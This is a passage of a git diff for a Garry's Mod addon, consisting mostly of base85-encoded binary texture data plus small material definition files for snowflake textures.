zk(RuiAHSJHV6Bhu@-XJ7e~)Ydzl|yKbXvYmsXec+YfL<#vvq*_;<BpN|LeNHJdE|Jk8zvVr%lj;cHuj{bqaf|jy&?nsrr2Q=03k8 zc$o4``lYB0&_A7Z)>(q&|L*p+Oe4>h?IJ$;;J^#%@%8;I<^o=ojv1)pI%Q9w?2SdV z{%{}T5Bh%U0(OhE$!X9Zx+Acp+uTmlMls_q5!gfc?0N)zqUVruk z7#sF2^Lc#m;QrD1u*QxJp!v56vH?bDjNIYh4^dw{v-H^d`gYPYw2ykB*Z8(^p7z9X zV|_+m5xq zCd%V79zYkcFIe*c?s>3%g%?3bSRFS*FzY!#A(Dq619lj^<~|Kk1pg zGC*HN8oo8do_N~;Me#v8a2DePn;UzX=d1+?m#?avRXWNB5GLo4jyYB1@i%n_Aj(*N~!EXfn^>F1p`G%n80v=?3zSTNFbBi( z-2Vx8c~d6!!hiSOcT2zP)wR-l@Q)qAJM1L(67I6gE(!axds-!vDWA@xCD`{k)p~$E z>&Um~x9R7waV_`spWvVpKI%Oq9r^z4Z-3){fG>3Z{$Sz1rFR6WPo7h{Ts^Yc7BrG&Xe6l>*i@~%ri$tn0YGZ0@Zg0I~h4g=D|ER zfbnC$9$w1dlMei|M~=1f#~yp^0pWF?R@wm4S37B)@e6be^`=Z5`iu79)0QHR^rXXo z_0?CiHP>7-^n1|GW2hvT&C6w?Vdu~gnFaG62Uv#rzA*hh_v6@ZM((W#ieQH{wjr=5 z*pH_@f#ZbD?OKI@&HMG&eE(m#+lTwSsW0uofm!^bbtfJ61Ue0Ua`D9%2kb*L(=Ewu z=g4iMb8F~~+#3Icv19p7e|GcDH;2C3eI~MR{1?R$>A(*7*Y|?LcMCN?e@=_=-&=OY z0UB3)#$H4B)$aSjE#)^;ciPV!0{0vF9#7~7y>Lk`TO*f=j-5kCWETg$83Xt}I-U(4 zJUI0K^n30*jh~_z0*j=@2anpD$G3wX5w5=80v#}&=KIbU{=>Z+*e#4RJO&}mGxS*8 zjyz$~vj6v2zxq|F@Aud#$!zDyY@&1P=@Mx@u7J>aEAr+0NA|P&&F&~Y{i&zU&@&P z&DV|9oWNR5;J>$Qh!ZuR7{=ztZIOD?M$*$>d>nm0c`^RyY`@3)`1Jot)|!{KM8o!^ zA$J6@#~t}MHj3biG+>E5z!v=}>kF)-X$lMl=;*5Lh z=5`Wh&eGrPq|bNXkKD%NrX78oT#<(K_+ZR9MJMn* zOzqWufxCK&=m5=6ZlSw9$3OYxlObR7r_V0pTt~N)yr?tx`JxMBIr7?x=TG8yDO^n6 z65ZN^Znkmh+xFUPuW*J2tb&K4_;P;=F0BvH1Dwy-7~ms~uM3?E<~t)wKZ)~&lu@*P z)XQxoOg`uV<|;Y2w9rBe1^ly4;yxeWv`Vtu9WX3jO<50`cc4nJl{tc zSxfzY^YWH3+g>yT|J+p%Us&Hd_uO-X4M4w*D~f;cW#>G&n~OcivICxwoxN}#{41~h zbOvuM-`a@tbvUojzCqRx+2eyQA|Sqp&{?)S^XNq*Z)eiJ{Mn;=^B$L8dTG|b zfB%60Bv;MJRia<_pc;>e5o6?LR%Z! dWpS{d+xbs!oF;ugx#J+1LNQRQAZsW*1(Hm3p{~Q zuton$n7jysIjsX?2aM8s<7|!S0FBYVrE$YYI!73A@BE9_&vhXm9P@tCFWJf~ulyC; zKVhL~VWFq-+x9>0_B_`H8*C8n2=m%~UYvnUzjc7;0ND3>!woltez6&B zfiGjsI)wZ<51_fc@zM_m)x*Em3HoTx?^><#b!r9R{be&cfTgwZ9;NwEGmYSgG~;J|?a|E5Dv;(uyu&((95ciaBP{~Bwok+ILt z^J96i<+$L~Vf)~p{X6Uh)Onz5b*KI;(g9WP2IIVs=KWq_>`#8+mOR{lqXUXMbO`Gl zBS(%bjeTgpX^?Qyb8*pAcyC#^9-!SkLmx0t2R^_Z7_$%dz;iv^Rf^+h+}$Buza{&7 zw^}xUuzs-C{k~w#VBAv=)&c94U+X<>unlp<5l1B3Kh66G8R#jvcRP)L|Hij2IQ{g~ zOZ}|-Tl_}xUk!iYn0k9!WPRJWgn#n&T!8D7*JsR+?azLM zwboiI;XmQO$KtVPg zTR?XIA35*G`9b>qR@H%aFt(u%@z}?0kM&^+r*XivDg(%SHJP7djyW=YUnBIpV6PR} z2fyH-IY8zBG{Y}BWIs|c1iD7qr!L9KqZAzGrE^0qo;i zQ3q_B-FM%;WcxGjNje~5q8=uC()$AsJTTba;MVvj3dpp1@xH0CyUs3Flj`XbQv9C{afEP{K2T-~jn6m-u_iteCk8g<* zpE@uPhz;PnP@f`>JcbV+Uef!u=0SP_pHmx?KC31J*Is*V31jrX&En5`gZn_}gVn!t zFYr`nfwU)oX?-`~dFCHuT?5wrn|km&ucLhCANSpN-+=$r?Ci^}4x#z;zA7jkx z4z5x-FYX+lyy(mMP5-X>{l{7Bi{}6|C$ORJ`Th@c1lazhG2Y$x`&nL}a?w59cLaaq z^}n9X@6`6B2V)uVyiKpME;n38Zm4*MojM&bQGp`H(k!^|(Lwdn&(EyOXY~ zBm=X~I%~KW*BHbviht+9I0F2#2EccGbvMYq#y@j`n)ADm{XxwA6OVMpxAXAtyguoF z{_~%g`hKwQ`G4zyN_0ri5Xp7pE8NhoSpmr_&4Et4t+x$eClw>A%~Ruet4SjpRnE2u-!;|!9VV}Jy{08!!En*67Ua>z!a_)?y9|WI_Ezs=x!!u~h4b>p57^3! zN8&r3@edZU^R*ZEZoctB|F5Z`BL__iPYJ#BS6{oCzNe!@aemVvl$Vdk=FUp|8wV0JhsV0hZHyArl-h2j1g?)gAYD9 z;2$huR~Nyg(^!YlzhmdKA75khVeA3anBYwC&)z`e*6H&2d@DSTPnqC;VEt&Ens<1mBzi0Pn*8N$deq-j|{ev?nmw8kAMUfqxun z@s0oW*Iz%$e!_o}ft)h1{r1}j{DWQNst7KfhJ3&zXK@+t)9(xaGjksZ_~*T`Yb@vS zofe;SMEH#VS6_Yg#QU7QPkm^yK6F~3o9zJh%yV})7^H8`gGI+RCP{A_0BnMP*#g6L z574X{_umHou?>or4|&~tIwS-dy?H`!#9(Em4sN#h?p+KvFL ztp5q`zf}J}tL6iK$9Mqz8@H5M#E~8wgEB}@|G(_A%clN6_5Vo*8k7O!f8&ie4)cG; ze-S*oUuF+J_$Lo^!j%617drd1kj?_!#hD<#FH#O^CHg;R@~nHU7aZWjKBjA06PnpY-(qi!Qoo z!hgbll7TuhVEo%>-i-DCW-%G#n7qI__*eL9;lH2O1Aa&U4{nJIhKo4TvW6I!$NFEw zfBW?{ssC?3o*4J$&6;bj8TS7fPem~4G{!Z)@z405`9JOZ`;FKC9KVQ9-ryhS^z1iI z_J8}ynq@5c?ZcaL{0|y5DBvF~8NbF=Gd}%1{lD=4t10V$S2O?DiZWPRWFH|qfH3%9 zYN@4??N`V4OE_#F9Cj5ijDP#S2OJzVgLn7G?wc6{+;PVpoGCa5{44Kkm=B~3$7#kl z{_(;83M;IT@SpIXWFV&uu>QyVIp=bk!K2fHM|27OJowlCzZ1Rx2mBL{_suwT2E8)>Z+?I-sj|fSM@=u+^(}j==a_C!-ubb{p;bonZ|!JxHKNg3;f@H`|a$_A2tR5 z*J1zjjxxY)UT4g+x7hV0%(=yN*IhT^KjA;gKph!~@5KQB+itsUI6vclJ1-`k&e*pP zF6sZL;D08q2VO+~&$+;&_;*=+<2%Mbdx|#OY_r7sI=oN)ZrAm@?LvE>{kILU>#nG7_m>quj;o&|W<0>y69p8Aw$NBz0?)~!p zU*Ml_f1@KPuZVMb^!uczEan4ghxarl`RZEvO7w4U`Wq+QmwocdCx`yi_%DJ9VAg5!`YwZc1attu(E+EQetPNt&m@2CEq{qWUCST$ z|9mfF#E220|8&2a7mtk6%Dz|7Up4d#B0k8~dy;ke0d==DQ-?XO0|!eUEYcJJx$i z);dSl5}n(R&S1lRBWLF5tLaO@64=U%N2fC`J&xe4kG}W!s?Po|0RG2~8@G_={+|H< z#G%ZhjF%eDZgHPZ($2!&-*1j_+|!lEwCx#l)Y^=g+LO z&KmaTgFR#3xXOb^$0e=vVU3@?KJ581_VGXX;Depj|4(3V0JwG9ygp^Qt`3vmefQm$ z@l8Yb`w9P@FINf6?N4*?!MDHTaX1*{cU~+yJ~(t=%$nj9{O=#*|Fh3NTT2*ynK?k_ z2}nbk=neAmZ|9lEClBn7fddDIF+l47+g}couIPLoxo=!&opl24z#rpvV=xcq95?QR z$%k|P_uO;OC;$1+f5P5B>j13*E}^miQ>+a*4dom6vG4bJe9jzv>s#NdI0u+yt@C9q z(Y*a=?zyr3_uoJC*I?fm<7}S8d3-R8qyNXBGWUPy*s)`mGxqU?|AiIj0p9=VPk$=m zo;1`0pE}?dan$*=(@rbR0b2ghc@8JP{bVxnr1N<)eE9It=hJ7>XM>%h*dv{72x}Ajl5@$z&3}|Q->nBcN+B1_19lt!n$=`!hh$>SHg7r(wu$r z^ugc{>|w_j#Xi_Ge#wuyedhRIdF7RJx%b1^$JbgwAKle;0q>csqg>a)c8IZD#3wK2 z78Y4#k)Q*npMLt%dO(uL_LaxPo6hA8-^%11F8DKko58>H0DsK=(ZB0X(G!IE-ZB0O z>pb9|!sthT_`@Gc_CGcV_@@qp@ryX@2i6vL*kOl&|J3hyu3RM?cMp1h=R4mC*O8Vn2)bpp)m95O z0DZsPo@BG@Wi#=h<9Pt)am;@q|J?IuJ+S`z>vJwYjQ#2F-T#BbqSzxXI)FJn;eWF3 zD<&{?sV`I51!Tc-sv;{G3Lv{)9GyRW!%}vJ|NN>`_1^|!<+)`qwYKHv{M=bq%lB` z90S?rjq!iL0S5$J7-PnF{M+HYK4X93f0Fk7{9IW7%DR6U{y7W$UB&-`IRMJC4gkM| zi#pQdxYz9XCeD1mDhI4oBC&52hG5!cQf;-1|Tz)f_*V_L( zAAR)EHsx5a^!t-fJ{hFFI&Uy$pj?-2-+AZtX%lI%0oV&1p9i$ z0|E;&)%3WN4(cIpG0j9-_T$G0BA zM;9;#IPt_2!<``Jsr!1<$j_6Xa6hfc0J3dIo46B)yS})0-x$e*E5`+!IOEh zqjlu8!vEBco~_Hu$F=PF;k=FQ{XCe8;~M`wGsXymU+IAN#*7)Wg|Xd;uQ`BqHHLUa zx+CZn>n4|z*C#z~#3wC2dja;^Yp?KaKypC}Q^`Y;_CLujz z9`*t(u)qSLzn@`-83IjApJ|2XsU1mo#WG-~k0?q?nz`Vck zJ6>b?A9KgIvE8Vzb-?{K2QY~{!zjmjyUaX3^&vg=#CKkt3*2a{VBR(Wdm{L4dX>{L{Z9I!U1h*Bi|=uM{ET{I^Rf@dc!=@qXL)?5H#Vo({u5;T zA72aK_1@__0sCM_Fpo%mz`HT;GF?x~&g;kv8{oL(jw|6ES{eJMTf6c))hp?tav4B& z{fw|>+0SO4dFJfwv(FB4Z!FP&=EY7NpL~o%eD?2a3@~2nc;Bdp@mlXWFQ75{L*(bW z+IM+zJ&J_Mk2!{=mtJ}*x?uyDX30-D>n<|jKFfZ2z1LV{jbJa^re>@T28^q`7;;+h zXxpFtgtFbQ)n2~2YT>()cW=J==8=pgD%k+8tLsq2$5vr&@aUtD4tR%d9tV`uF8xk= zpgYJwEWfcl)2E$s$|+$U9Q=b9FpD4Sfjl@OopFfId>#F@?(#Ui5q#H+qi+Qa)Lx*E zSxcl|E~{vL%iG4igxEjizua=mmHK>Wi0cmgPIXLrDV6~+@BTjyues)$Vc#1VK<@GB zx0}IIjDK_r*w-HW7x<=EJ#07fUTcSa|M8E1T!alU<@-UQ-js!-{AL_9ur6dCz;ujt zsGlW2;jG7&ItOZalJ??f9meKy6!Qa^M=ubjDhTPF35AH z&<%Qe9AKLA%ye!SzNdO59fS;6M)57D$niPnoD(o_?AUJvFT|}DpXcC^^EBX7^YxGF z4BssEFrDYU#sJgn4ADu9(U}KyUFf&LE#(s~;@tmZyRa7k`(@CeLBR&F9xzQ~U6AmW z@Yb#}fZV$8qK;c`xn0E1v(*c_*MzoWow9(*?vSKkL&RsHn8D2MXE zEk2Gq6v4jhk4~`-zKAYwp*)TW5FXZv@YI{S!vah=8s?vIYEceZZjX7{bpDfJ0rZvB><-v2_xXdfO_~MIKG6tZp2Dh|>xd-Y~ z#E}R33%j2%whZ~GJ=wtrA6&X0Anxx8+s-oGlb`fMJIH|LlDmD5I_jvfx6LwL1RwR% zfE~@5O&mRX^eM8@XUvP~yz#ZRu$k=h_pmqIF7RK}kq2WV+F^Zyk6plA;96^~HI<$3 zalh%@4m?kF=-Ij_mPLmL4;~ya;r%_}xF|--b%65$J77fnXX}33BQMUY#g~rhtM3Tj z!F+?~0%JWuxcs;4o7YD#a5wUtbIw`P0k#87=Y+kUjlHhmKeA^Vl<-V5%~YD3ralWV zyl^&r`0!xEVjmk5dF9{no!_n zFY4-g;#+6A4S9XiGsfV4l-+jQtu*fkeG~Q*=DPy-lnL%VAB7xpZxuf0`YfB@``-7$ z9bA@q@L-JiSzh1RvK;~Lu)$@EzpZb24{kNaYvreNMRQ2!TqyicrVehK>zKD~mEw~Z z&+*X%d?N`uLw{)ARs2uoCf&mrH2!vPERXD60i%px!KnK&{$u+!F+?(Z8MtNO(+m z>S+8EMpxmQX|vOsj)xs~SZN#p?Yn~Ssm!Erz`HR|e`Hxa_Sj>?{uRqT z@=F*zfPdpSuTMV40zP=4{}=u)ZUmp{a{RmgMSSQ7?Qn#- zJ1Jo>VX!M@0KAvmpX^touQxtDCI+iK!@#0avV(vEHvUzR&4w{&F3K?FRGh zt@}ZaKo?CJkCb#=T<2!mZN2Gn&y`nRnJv2LqDcp6E~+ar(38tH{yh)Pw=A!@=9(}M zW~_r#;}zL0ih=TU;7s=RB%Q|@)*wcEb!0r<6TE`HU-TQ>0JIs*(tg(+T~Ne%{7+ib zk~P7TPd<67^8xU~Hdwh{?#XhR+FndYf@>T$zGaKwv21zHZ{B(54d3u$jE~H_-?P2i zsN92<^0?$-$9u-v^!<-N{`doYr?Vq*og?q*-g@h;AE@mUZ39qOx4%-m%G+7(w=vIq z=ZP+b)(0MVV2K~_2>y6Z*1SpbUrhcJ-Tt@EXS|pD)(gnl2`8Ko=Dol^_J1{5ZsxgV zf6CdLiNf1qIq=z`{Xg|!U+{C!J$DoJ!%<(?xtVsOL!hf|3i4t+<$1%n5qY8u$jdqfeaKwE$dMyUcZR{Am|qFQJr~2x^4@ZUPhQxT#{X)ot(IMT z?X{)82zwNHL^dm7y4h#oN%>FK_dHGzRvZ3~cPnt6ClBTV^y#h_F1884f=d`9PKDxlRfZwA7xL1Al*=H|} z%@TflE`D3V`&b7U`}5B~e>m5}epF;J#w=mmrg`POQhf3UKR4ZU6L#)s?eX6zPhZ?s zahVI$IN*Hs-IJ-iF&fj0cHw9@&#O7!JFfF_8f*ie;Rr+fp+kq3bbxI&j|t#svJH|> zux_v{ARnIJci1w6Z|rj)9rt%L-bd!>lP$OYjSTu(UcX${$=`kGtFOL#c30uKNV(h< zsJlEzgG=xWePVjJtvolLjlpDo_Xe(rSW~E@|icD`$Xgz?BE`I?6F5Ru3oVS4!bZ-@Auw&Z%^4tV{W|h z#uE13m%E+KU?18-C)0{K80UA$A%~RK0nAV90Q1?rPkztT17O>IJ2K$;J>`Kd;`<%Skt{30-1TyTtU-)@jckXS~g*dJ{&TpVjy{D`POk)1hbi=28@o&O;9rPrP z>4mO@N7w@7&;B5I3J8MeH&%13U=i!ncCJp1gkxA5Ja z?uvcaTl*E(mL2mRZ9})2ex_@)^dnE_i{2!EXi5Ie(;j~K;Td-^TDN;lmvG-Rac{mO z2Vmav5M!VDqhZ5_O||xnJT)t;wbCQQU>_OQeSWWKKi#^%OoHXd`0*>p|#g2QB^Fem(jU zkM#D5?==&iQ5I!#7W<@=PAZ)nj(H#B-_PS`Dct?_gE1cSl4r)epD(e*5~c6-Ay>$g z<;(Kv=k;W>(tGD+dBt~l%3Arj*IxU7?VWq9RmBy?qtV)yDvC%TR7kN@#a2mq7~0~a z)CX3;%1cCB(qO2z))*iywY4G*k&tNGSV^r|7^P}~@>JevL3|Vx zE=c#nLr1Gvl)KK$^*r9p!RHH-H*cd3VpvQ3 z*b(GxdxE^l6I<}uV~>?ajvU$04lw^y-Cw(0FS66tC!9ye)cbA&IF9rAz=g-8;3T+d z3D%nXtntY6_!(QEUeXxVj@`R=kF8hE$M52dqODuE{!HujKIHq6HypK0kW0Dbk8NS> z2L0m429S?+ef#aVXM2W#9p(w$E-b=Q3ad@q;5}jByX^qF;>eG%xpU{1 zIJdzVX$(&(yteEET=&=?y2B1!ef8C)`Sa&z?Lx3e9bkO8u6XLHr?PsZTzGUk#=7gF zRjXD#bMWB7u0{N44`Bxm9O$Vzfu*#~k%@V07kOEBEpQ(mbiuqn|Ao-LHx?ouYzI6R5aW!O<8@TGr?y_U~;A2xpJD2OoSen*+w?n}ZP}d3?mUmiS%A~GXh5l<@>hMwpTELgChG;Z9u(wS$T znb`qz8!Q=n;Ld)##$s|S!++!-b%0*Dw|;Pap@XhnyOzd}AD{L4*hdOnfiLs9+&CiL z*p`L!gt!=228*{q7P(NNgXw%bMj?;kUE1ogxhYrt;9JG#$d!_tZy8j-16Fj zeEZ6LN6wM++;{KZy>!=IcV+mYEk_*!55W^Ur=Q=H?oTuh?2xDPAz$vb?rpQUKe`&Z zS1o0tO{8|fIIY9_02|7MJX`ZZ|IQb^(VhcGtQ{UYbZEo>#QakT4#8iVHz+UPi|i+| z#txYCw!sc#{l@6gqqB3O(HZs|+`vC`5Pjlz{aguLfgke0bzV9nbEVe4eoH(%xmvhZ zt>wT5=>Mll?h9Ckwg=Izg#PkaVJ-+;&bTpp<-bto3RzbI7F`z^k44x`VJBuE%yGNO z6F+trJutra&_fSpoP+!537jz3>;5?Rwg={CCGZ39!3-CE_U=@@KdM^!R*mJ74LC*Z zfbm)v`G)mY30)PXY3z`%ZMkg_alC_WSvz*#dFN#qOx!;)em7+w;ko6DYa77+9KCz@ zF5Pp_J(-@c(dY@C(cVW-c^&5Ciu8Y?VdMcm$Xk1a!~HShSk>;?Uyb~yOpFIGCdfXb zmMOZyk8G`5`*EZ0Vt6_HZWlOz@Wz?1ciwqt>HPE0Z)gv=ZZd9-UG5zg{Y_!N-s1Rf z%Llob&xCs%CGYn$mIdwnK7IO>?!No(3)VO@ zrQ=>R@bP%SNRJ6(S83CsC*%z$T{lNvIIKDPY{@g^Z#%$y=$myztRG~IkaeZrZ>%w# z8^^e|4Kb`<{d_AN$Mpr*@zaLKe4o?PIMa#;7c>@Pq# zYs~uf>(_8Tx%upR4VSR?IBw`~$A$0F9>9C<{fy2JY##$wSmda%xof!1)r z7kb8Z{>%{(1`d`lU;dKn{cCECW7S?>+0#K+@q<=wh<%lK|QN9-H_j;m+ab-wF)T)r216v?4y&z_}W!-i#halw23 z{$T$GwO^%}sgt3nd<(xHZR%yb738lV$`(|~XIqteHU*9>t-rPLTi#Sg| zfVI~XCr-@9^N}lSFsN5;XOTIwCJb5QZ_Nw6+YUK@^#KpBS+nK|?Qzv^|K({ddm{VV zTmKF}DSo|!-i-@%!aew~Jt#LWNE_UdF7;2W1B?sXAf6?j@d4_uM<0DO8>=2Wc5F6p zV1CE`uEXllb^Xt`!F_)tc7b^mKvb{kZnWXQSWG;5yG(U;A0d=hJhz zpDS|tubOpJoXbR?h&|Zgk!6vWnPr)mU%YS5Gx7PB`15$7ti~63(is05{l_z0ef`s_ zl_Tw;Tv}f-T>n%4OKt4zykTR)bv3T}kN)wu1P7IT7R=LDpq~rAXj9VuWpA2Mqef-( zi5)t0$o8#>ZRR3=!9ia|@$i{6eEFFoE;p49?>ViacZp+N9(IiRx|?slIph1hdGj)R z$M?c{zMXGIUwQ6VQs&J`JC+AOWu&aUt2W$0?OXE~?bSK3J@Bg*zL9grG$yb>{ekR^ z5!-3o0_)Q{Yz_w6;u*>bKiq$yywsD^rcEndcinZ_-sSw$+OcED>`Wtgmgk^(ZP)R3 z^ZYFe_q)e(8N1*=h)$h4W%C@2ao%|2jalD@J$CpW+u^7KbKY@nA?v2{q^w-#J$m3? zb2}fdUAuOk+WVbqffwzmj2eGAS7#^8)E*x1f-7tQ?Q7hqPuqm1^xxWX=7I5sOBnSe zZ38a)#{7f8x3HJRlqplPF|#2*G(_K{PJROi2kqvU=W@9Y7Pck^O+)^P-biw zmvKn>Z5OZyj3+Wb#@Zvs6KE^YcVJCC>tiQPnw0HhGJN>((hWDYtU$4QTL;i<`eKT;AETWy{aCPvsYCofGY?{F)y)UFVKY(0>^J z2EVRLjn%fmRbzQlCUYV_W9|@UyMRB2=kFt*@H<_H^RDY$-gS6B55moJ(%>R2=0{pZ zVGb`UGjXKhE9UR8wsgS>@)2&+s_v5<`_w(_6`<;f}n19~S zJ7Uz9vA4UO9_ zt=Bq5|7TvSvsV^sjO-A&h`f*7cepWQ3?=SYKliO8>(hEhmt2eqX`J&Ab-w!f-%tPS zHO`rOv?rXm$UcMGn{l1{1hfatb+`MC8{^2hN^bSr0Js0qsckv>)ZFPIoxk$}`fpF? zZq_4@PxPDACm6t4q-q1csXpKluwpv^X26hbK;nG$b3W<_{h?3#c!Xo;*@J)M#*MSJ ze)sFbP8!><;j#S_<$ieoWY%}ATet2J)_HmD5OW3C0bC{9R|dV;?7UX`hVu7UXbWneq03|k=4jvMEpQ$T`HFTR+JoqKI}_K>$M|G7K4~|Q zk7X3)XTN0@pCimNc04Ziz1#cr@zt)|zIyfQ1$+1IP5OG#-spyAhws-!%X8vg95)M!8w84mamr-=iwZ3_e)_cvB{k}Yn?Iq5a!$!#tbXGlb^`=dmW@y~_dDg^(H`g~2 zx5lcmo5!-llY6ucu-qDRk(Xr&=NZ%UxE}ggwrtr;n>TO1U*me0s=ohRIrN^=NcJOQ zKy$>O(!U@*w{PD*MSDQ}S!;?vjBSEg7lBpJKY{7Q_oMmVm^{pJyU36W86sb7E^(~a z(^}p4Uw!q}KWOdFFF)RQ_mrrw zyQ+)+r19prR5u+mhNGLfel*vkJm7ZZylp4pTBrGe#$n%Ao9o#fJ9hj?ZLssCmo#^u z#`Bvso_{P3mn)wBf##Vm)jmY`tyr;Qk;b5RGbRPDZ3m3&i2cU=ey_3kdJ5-T&3`zr zHF^gnzn!el)jGY28qXW5y1qlXbd}Ocb$cZ-pf*7_^$)J+-(&rExSIJWuPdSt8}V)) z6XyOdVcf$7EOw?%^M9oKMJe(l)?ujE6({E5_r` z$NS#TnX5(V`YszY8ZWp-{~$i2^CFisXU%vv{4r;24{Q^-H*d@{^Dgfe#XH^nvqkrQ zAGbO2e%^WH%T74Yz<1{AG)A&Z?fNC!XX6q5d-px9$sL^b)l8gkD^9jmzN|A;+n|^F zwpXZ+dk6m?Ft4b!>aVlEC;bKb18@fpMP9isg`ehKzpggf6Cg&^9Y<`Op(jB!8RcB5&Hlq<3&7|Ic`2XJiZ^_Gq?SmIZpo6>DVdC zrFP6N&SJra>0g`q+qP|+Caw?B_gtXykgggZJ+&?6oAOR=j9S6~^V%BoK3z89Y_${4 z)!af~&3TX2KJ<6!`k`#Y6KY4lptGn}sZISK_U&cgU)m1v5nlST&A^4T9%sz^&1b(y zd)<2pv!AfW=XNN+mD&^gA8N1sR_EXSRC})9qW`9@5YPLoUO$&U4(lT%>yv9q-l?p~ zKGX;XXg8mv_QGexwKHTN&XRrjlGeUnCi^f_e7u#tEi_mDWA;1Ky5;HX*RTIIZ3$l* zdsv|BcbcD=L!8DY@7Htph3kIKwxqqTvCHo$?ZLXfrhLArJkP`~(OzNwLygERwKH>l GjsF32rHd8- literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt new file mode 100644 index 0000000..121c3fa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/1" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vtf new file mode 100644 index 0000000000000000000000000000000000000000..2199848b770d145c5e173aa42e7eb2e35dbd7b4a GIT binary patch literal 5680 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 BE!F@4 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt new file mode 100644 index 0000000..1b8ea45 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt @@ -0,0 